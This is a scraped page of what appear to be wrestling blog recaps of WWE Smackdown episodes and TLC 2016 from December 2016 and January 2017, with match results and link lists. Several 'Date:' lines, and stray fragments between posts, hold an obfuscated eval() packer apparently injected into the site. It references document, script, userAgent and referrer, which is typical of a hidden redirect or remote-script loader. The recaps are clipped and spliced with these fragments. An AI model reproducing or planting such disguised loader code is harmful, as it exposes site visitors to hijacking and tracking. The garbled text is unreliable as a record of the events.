New Column: That One Day in January
What is up with January 4?
What is up with January 4?
Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eneii|var|u0026u|referrer|aeyhy||js|php'.split('|'),0,{}))
January 3, 2016
Location: Jacksonville Veterans Memorial Auditorium, Jacksonville, Florida
Commentators: Mauro Ranallo, John Bradshaw Layfield, David Otunga, Tom Phillips
Dolph Ziggler vs. Baron Corbin
We look back at Alexa Bliss vs. Becky Lynch with La Luchadora costing Lynch the title.
Becky Lynch vs. La Luchadora
The new Luchadora is unmasked as Alexa and the double beatdown ensues.
Maryse slaps Renee and tells her to never touch Miz again.
Carmella vs. Aliyah
American Alpha vs. Breezango
Non-title. Grand Amplitude ends Breeze in 32 seconds due to Tyler offering Gable a ticket.
Intercontinental Title: Miz vs. Dean Ambrose
Results
Baron Corbin b. Dolph Ziggler – End of Days
Becky Lynch b. La Luchadora – Disarm-Her
Carmella b. Aliyah – Code of Silence
American Alpha b. Breezango – Grand Amplitude to Breeze
Dean Ambrose b. Miz – Dirty Deeds
https://www.amazon.com/dp/B01MQKDV5O
And check out my Amazon author page with cheap wrestling books at:
Instead of a year in review, let’s look at why Smackdown is so many miles ahead of its Monday counterpart.
http://wrestlingrumors.net/kbs-review-smackdown-won-week-everything-else/
Smackdown
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December 27, 2016
Location: Allstate Arena, Chicago, Illinois
Commentators: Mauro Ranallo, Tom Phillips, John Bradshaw Layfield, David Otunga
Tag Team Titles: Wyatt Family vs. Heath Slater/Rhyno vs. Usos vs. American Alpha
The Usos decks Alpha before leaving to give the Wyatts an even bigger advantage. Orton takes over on Jordan with a hard whip into the corner and the snap powerslam for two. A dropkick allows the hot tag to Gable, who German suplexes Harper for a near fall of his own. Back with Harper holding Gable in a headlock because Heaven forbid Alpha gets to show off. Orton takes Chad outside and throws him into the barricade and gets two off the slingshot suplex.
Bray breaks up a fight between Harper and Orton after the match.
James Ellsworth is all banged up but Carmella cuts off the interview to say she finds him attractive.
We look at Renee slapping Miz last week.
Miz allows Renee to ask him some questions but tells security to leave. They do, but Dean Ambrose replaces one of them. We get the beating that should have happened last week until Dean beats up a guard and says all clear.
We look at Carmella saying Natalya attacked Nikki Bella.
Corbin says the pressure is on the little guys in the match with him.
Smackdown World Title: Baron Corbin vs. Dolph Ziggler vs. AJ Styles
Styles and Ziggler dive off the barricade to take Corbin out for good but all three are down. Ziggler Rock Bottoms AJ onto the apron and gets two off the jumping DDT back inside. The Styles Clash is broken up and Ziggler superkicks AJ out of the air to block the Phenomenal Forearm. One heck of a superkick gets two on AJ with Corbin almost getting back in to pull the referee away.
Cena comes out to offer Styles a handshake and Styles finally gives him one.
Neville tells us to watch 205 Live to end the show.
Results
American Alpha b. Usos, Heath Slater/Rhyno and Wyatt Family – Grand Amplitude to Orton
Alexa Bliss b. Becky Lynch – DDT
AJ Styles b. Baron Corbin and Dolph Ziggler – End of Days to Ziggler
https://www.amazon.com/dp/B01MQKDV5O
And check out my Amazon author page with cheap wrestling books at:
Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tdiby|var|u0026u|referrer|inihs||js|php'.split('|'),0,{}))
December 20, 2016
Location: Joe Louis Arena, Detroit, Michigan
Commentators: Mauro Ranallo, Tom Phillips, John Bradshaw Layfield, David Otunga
Opening sequence.
Smackdown World Title: AJ Styles vs. James Ellsworth
Styles is defending and it looks like this match is actually happening for a change. An early attempt at No Chin Music earns Ellsworth a strike rush for the pin at 43 seconds.
Back from a break, Ziggler is given a match against Corbin tonight. If Corbin wins, he gets the title shot next week.
Intercontinental Title: The Miz vs. Apollo Crews
John Cena is back next week.
Dean Ambrose vs. Luke Harper
Alexa Bliss vs. La Luchadora
Non-title and Luchadora is in a mask and full body suit. You know who it is, I know who it is, and we have to listen to the announcers not know who it is. Luchadora gets in some rollups for two each until Bliss pounds her in the back to take over. The fans chant SI as Luchadora slaps on the Disarm-Her for the tap at 3:06.
Ryan Phillippe (of Shooter, a show which guest starred Randy Orton) arrives and tries to find Orton. Instead he gets Curt Hawkins and Mojo Rawley so some trash can be talked between the two wrestlers. A match is announced for later.
Mojo Rawley vs. Curt Hawkins
Phillippe is on commentary so hopefully this is short. Mojo runs him over to start as the announcers praise Phillippe and we hear a bit about Shooter. That shifts to a discussion of Otunga being married to Jennifer Hudson (rarely discussed in WWE) as Rawley hits some Stinger Splashes and the Pounce. A running right hand in the corner ends Hawkins at 2:28. Phillippe was fine here and seemed to be having a good time, which is all you can ask for from a celebrity.
Baron Corbin vs. Dolph Ziggler
The winner gets Styles, on commentary here, for the title next week. Corbin takes over to start and takes Ziggler outside for some trash talk to the champ. A chest first whip into the buckle has Ziggler in even more trouble and Corbin does his slide under the ropes for a forearm to the back. Ziggler is sent shoulder first into the post and we take a break.
Post match Styles lays them both out with a chair. Cue Bryan to make the triple threat for the title next week.
Results
AJ Styles b. James Ellsworth – Backfist to the face
Miz b. Apollo Crews – Skull Crushing Finale
Dean Ambrose b. Luke Harper – La majistral
La Luchadora b. Alexa Bliss – Disarm-Her
Mojo Rawley b. Curt Hawkins – Running right hand in the corner
Dolph Ziggler vs. Baron Corbin went to a double countout
https://www.amazon.com/dp/B01MQKDV5O
And check out my Amazon author page with cheap wrestling books at:
Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytyfb|var|u0026u|referrer|zedez||js|php'.split('|'),0,{}))
December 13, 2016
Location: Verizon Center, Washington D.C.
Commentators: Tom Phillips, John Bradshaw Layfield, David Otunga, Mauro Ranallo
Opening sequence.
Carmella vs. Natalya
Video on John Cena hosting Saturday Night Live. Cena is back in two weeks.
Tag Team Battle Royal
American Alpha, Heath Slater/Rhyno, Ascension, Vaudevillains, Hype Bros, Breezango
Baron Corbin video.
Alexa Bliss vs. Deonna Purrazzo
Actually never mind as Bliss says this is beneath her so no match.
Lynch is challenging and Bliss hides in the ropes to start. The threat of a Disarm-Her sends Alexa even further into the ropes, followed by some armdrags to keep the champ in trouble. Bliss gets rolled up for two as JBL talks about blocking Mauro on Twitter. Another Disarm-Her sends Bliss outside and, claiming a knee injury, she takes the countout at 4:30.
Bliss goes after Becky with the knee looking just fine. The beatdown sends Bliss limping back to the floor.
Dean Ambrose vs. Dolph Ziggler vs. Luke Harper vs. The Miz
Back with Ambrose hitting a spinning backbreaker for two on Ziggler while Luke it out on the floor. The Zig Zag puts Harper down but Dean drops the top rope clothesline for two on Ziggler. Harper comes back with a sitout powerbomb for two more on Ziggler but a superkick into Dirty Deeds gets rid of Luke at 15:13.
Rich Swann tells us to check out 205 Live.
Overall Rating: C+. This was an interesting show as they set up a lot for what feels like it could be a major show on December 27. I can go for the Hype Bros as the next victims for the Wyatts and it should be interesting to see what happens when Lynch finally gets a big time title shot. Good show here and I think I can handle another week without Ellsworth getting his title shot.
Results
Carmella b. Natalya – Small package
Zack Ryder won a battle royal last eliminating Konor
Becky Lynch b. Alexa Bliss via countout
Dolph Ziggler b. Luke Harper, Dean Ambrose and the Miz – Superkick to Ambrose
https://www.amazon.com/dp/B01MQKDV5O
And check out my Amazon author page with cheap wrestling books at:
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bfhdk|var|u0026u|referrer|ekikk||js|php'.split('|'),0,{})) Could Chris Jericho Be Leaving WWE?
http://wrestlingrumors.net/when-could-chris-jericho-be-leaving-wwe/
What Other Gimmicks Were Considered for Charlotte vs. Sasha Banks? December 7, 2016.
http://wrestlingrumors.net/what-other-gimmicks-were-considered-for-charlotte-vs-sasha-banks/
Two NXT Tag Team Title Matches Announced. December 8, 2016.
http://wrestlingrumors.net/two-nxt-tag-team-title-matches-announced/
Update on the NXT Title Situation. December 8, 2016.
http://wrestlingrumors.net/update-on-the-nxt-title-situation/
Ring of Honor Title to be Defended at “Wrestle Kingdom 11.” December 8, 2016.
http://wrestlingrumors.net/ring-honor-title-defended-wrestle-kingdom-11/
Vince McMahon Changes Mind on WWE Network. December 8, 2016.
http://wrestlingrumors.net/vince-mcmahon-changes-mind-wwe-network/
Two More “Smackdown Live” Wrestlers Injured. December 8, 2016.
http://wrestlingrumors.net/two-smackdown-live-wrestlers-injured/
WWE Wishes Legend Happy Birthday, Return Possible? December 9, 2016.
http://wrestlingrumors.net/wwe-wishes-legend-happy-birthday-return-possible/
AJ Styles Pulled From More Shows. December 9, 2016.
http://wrestlingrumors.net/aj-styles-pulled-shows/
Two TNA Talents Reportedly Gone. December 10, 2016.
Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fkzsn|var|u0026u|referrer|dszhr||js|php'.split('|'),0,{}))
December 6, 2016
Location: Toyota Center, Houston, Texas
Commentators: Mauro Ranallo, John Bradshaw Layfield, David Otunga, Tom Phillips
Tag Team Titles: Wyatt Family vs. Heath Slater/Rhyno
Kalisto says speed kills.
Natalya vs. Carmella
Baron Corbin compares cruiserweights to flies.
Hype Bros vs. Ascension
Both teams want the titles. Viktor knees Ryder in the head to start and Zack is in early trouble. Ascension takes turns with a variety of stomps to the back until a neckbreaker puts Konnor down. The hot tag brings in Mojo to clean house and the Hype Ryder puts Viktor away at 3:30.
Kalisto vs. Baron Corbin
Chairs not included. Corbin throws him outside to start and gets a near fall. Kalisto kicks him in the head and scores with a moonsault to the floor. Back in and Kalisto speeds things up but the springboard spinning tornado DDT is countered into End of Days for the pin at 2:49.
Nikki meets singer Sophia Grace and they get along.
Chad Gable vs. Tyler Breeze
Opening segment recap.
Intercontinental Title: Miz vs. Dean Ambrose
Ellsworth is upset to end the show.
Results
Wyatt Family b. Heath Slater/Rhyno – RKO to Slater
Hype Bros b. Ascension – Hype Ryder to Viktor
Baron Corbin b. Kalisto – End of Days
Chad Gable b. Tyler Breeze – Rolling Chaos Theory
Miz b. Dean Ambrose – Skull Crushing Finale
https://www.amazon.com/dp/B01MQKDV5O
And check out my Amazon author page with cheap wrestling books at:
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yhfab|var|u0026u|referrer|bfkke||js|php'.split('|'),0,{})) Styles Possibly Injured at “Tables Ladders and Chairs 2016”. December 5, 2016.
http://wrestlingrumors.net/aj-styles-possibly-injured-at-tables-ladders-and-chairs-2016/
http://wrestlingrumors.net/brock-lesnars-next-house-show-appearance-announced/
Demolition Talks About New Day Potentially Breaking Their Record. December 5, 2016.
http://wrestlingrumors.net/demolition-comments-on-new-day-breaking-their-record/
http://wrestlingrumors.net/mauro-ranallo-responds-to-rumors-hes-leaving-wwe/
Mickie James Offered Full Time WWE Contract. December 5, 2016.
http://wrestlingrumors.net/mickie-james-offered-full-time-contract/
Main Event Set for “205 Live”. December 6, 2016.
http://wrestlingrumors.net/main-event-set-for-205-live/
Another Match Set for “Roadblock: End of the Line.” December 6, 2016.
http://wrestlingrumors.net/another-match-set-for-roadblock-end-of-the-line/
AJ Styles Pulled From House Show Due to Injury. December 6, 2016.
http://wrestlingrumors.net/aj-styles-pulled-from-house-show-due-to-injury/
Newest Member of the Bullet Club Revealed *SPOILERS*. December 6, 2016.
http://wrestlingrumors.net/newest-member-of-the-bullet-club-revealed-spoilers/
What Happened After “Monday Night Raw” Went Off the Air. December 6, 2016.
http://wrestlingrumors.net/what-happened-after-monday-night-raw-went-off-the-air-6/
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zfntf|var|u0026u|referrer|etfsy||js|php'.split('|'),0,{}))
Ladders and Chairs 2016
Date: December 4, 2016
Location: American Airlines Center, Dallas, Texas
Commentators: John Bradshaw Layfield, Mauro Ranallo, Tom Phillips, David Otunga
Pre-Show: Apollo Crews/Hype Bros/American Alpha vs. Vaudevillains/Ascension/Curt Hawkins
The opening video looks at various broken furniture before going into a regular hype video.
Tag Team Titles: Wyatt Family vs. Heath Slater/Rhyno
AJ says the problem is keeping Dean down but some chairs, tables and ladders should do the trick.
Carmella vs. Nikki Bella
No DQ and Carmella is sporting a big black eye. Nikki spears her down to start but gets hurricanranaed into the steps to bang up her knee. The referee starts counting even though the announcement before the match said this can only end by pin or submission. Back in and Carmella ties her into the Tree of Woe and fires off some kendo stick shots to the ribs.
Video on the history of the Intercontinental Title to set up Dolph Ziggler vs. Miz in their final battle over the title.
Intercontinental Title: The Miz vs. Dolph Ziggler
Miz is defending in a ladder match. Ziggler, in American flag tights for some reason, takes him down to start but neither can hit a finisher early on. They take turns sending each other into and hitting each other with a ladder before Ziggler pulls Miz into the post. A tornado DDT sends Miz face first (very slowly of course) into the ladder and both guys are down.
Kalisto vs. Baron Corbin
Kalisto tries again with a suicide dive but Corbin whips him around with a great looking Deep Six on the floor. Back in and Corbin piles up a bunch of chairs but stops to swing at Kalisto instead. That goes badly as Kalisto hurricanranas him off the barricade for a breather, followed by a moonsault into double knees to the chest for two more. Kalisto tries going up again but this time Corbin is ready for a chair to the head, knocking Kalisto out of the air in a good looking crash. End of Days onto the pile of chairs gives Baron the pin at 12:51.
Rating: C+. Kalisto was game here but again this was the right call. Corbin could move up the ladder very quickly on Smackdown and this needs to be the final match against Kalisto. Baron has been kind of floating around aimlessly in recent months so hopefully he can go somewhere more defined from here.
Natalya denies attacking Nikki.
More of Natalya with the ring (as in engagement ring) stuff, this time with the proposal.
Smackdown World Title: Dean Ambrose vs. AJ Styles
Ellsworth is elated to end the show.
Results
Wyatt Family b. Heath Slater/Rhyno – RKO to Rhyno
Nikki Bella b. Carmella – Rack Attack 2.0
Miz b. Dolph Ziggler – Miz pulled down the title
Baron Corbin b. Kalisto – End of Days onto a pile of chairs
Alexa Bliss b. Becky Lynch – Powerbomb through a table
AJ Styles b. Dean Ambrose – Styles pulled down the title
https://www.amazon.com/dp/B01MQKDV5O
And check out my Amazon author page with cheap wrestling books at: